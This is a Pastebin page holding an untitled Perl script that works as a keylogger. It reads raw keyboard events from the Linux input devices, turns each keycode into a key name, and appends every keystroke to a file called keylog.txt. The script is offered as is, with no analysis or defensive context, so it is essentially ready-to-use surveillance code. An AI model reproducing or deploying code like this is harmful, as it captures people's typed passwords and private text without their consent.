Guest User

Untitled

a guest
Jun 23rd, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.65 KB | None | 0 0
  1. #!/usr/bin/perl
  2. my @keycode =("","Escape", "one", "two", "three",
  3. "four","five","six", "seven", "eight",
  4. "nine","zero","minus","equal", "Delete",
  5. "Tab", "q", "w","e", "r",
  6. "t", "y", "u","i", "o",
  7. "p", "bracketleft", "bracketright", "Return","Control",
  8. "a", "s", "d","f", "g",
  9. "h", "j", "k","l", "semicolon",
  10. "apostrophy", "grave", "Shift","backslash", "z",
  11. "x", "c", "v","b", "n",
  12. "m", "comma", "period", "slash", "Shift",
  13. "KP_Multiply", "Alt", "space","Caps_Lock", "F1",
  14. "F2", "F3", "F4", "F5","F6",
  15. "F7", "F8", "F9", "F10", "Num_Lock",
  16. "Scroll_Lock", "KP_7","KP_8", "KP_9", "KP_Subtract",
  17. "KP_4","KP_5","KP_6", "KP_Add","KP_1",
  18. "KP_2","KP_3","KP_0", "KP_Period", "Last_Console",
  19. "","less","F11", "F12", "",
  20. "","","", "", "",
  21. "","KP_Enter","Control", "KP_Divide", "Control_backslash",
  22. "Alt", "Break", "Find", "Up","Prior",
  23. "Left","Right", "Select", "Down", "Next",
  24. "Insert", "Remove", "Macro","F13", "F14",
  25. "Help","Do", "F17", "KP_MinPlus", "Pause",
  26. "","","", "", "",
  27. "Alt", "Alt" );
  28. my $watch = 0;
  29. my $keyboard = '/dev/input/event*';
  30. open key, $keyboard;
  31. while (1) {
  32. my $line = "";
  33. sysread(key,$line,16);
  34. my @vals = split(//,$line);
  35. if (ord($vals[10]) != 00) {
  36. if (ord($vals[10]) != 4 && ord($vals[12]) != 4) {
  37. if (ord($vals[12]) != 1) {
  38. do_it(ord($vals[10]),ord($vals[12]));
  39. }
  40. }
  41. }
  42. }
  43. close key;
  44. exit;
  45. sub do_it {
  46. my $key = shift;
  47. my $state = shift;
  48. $itis = $keycode[$key];
  49. print $itis . "\n";
  50. open logger,">>keylog.txt";
  51. print logger $itis . "";
  52. close(logger);
  53. }
Add Comment
Please, Sign In to add comment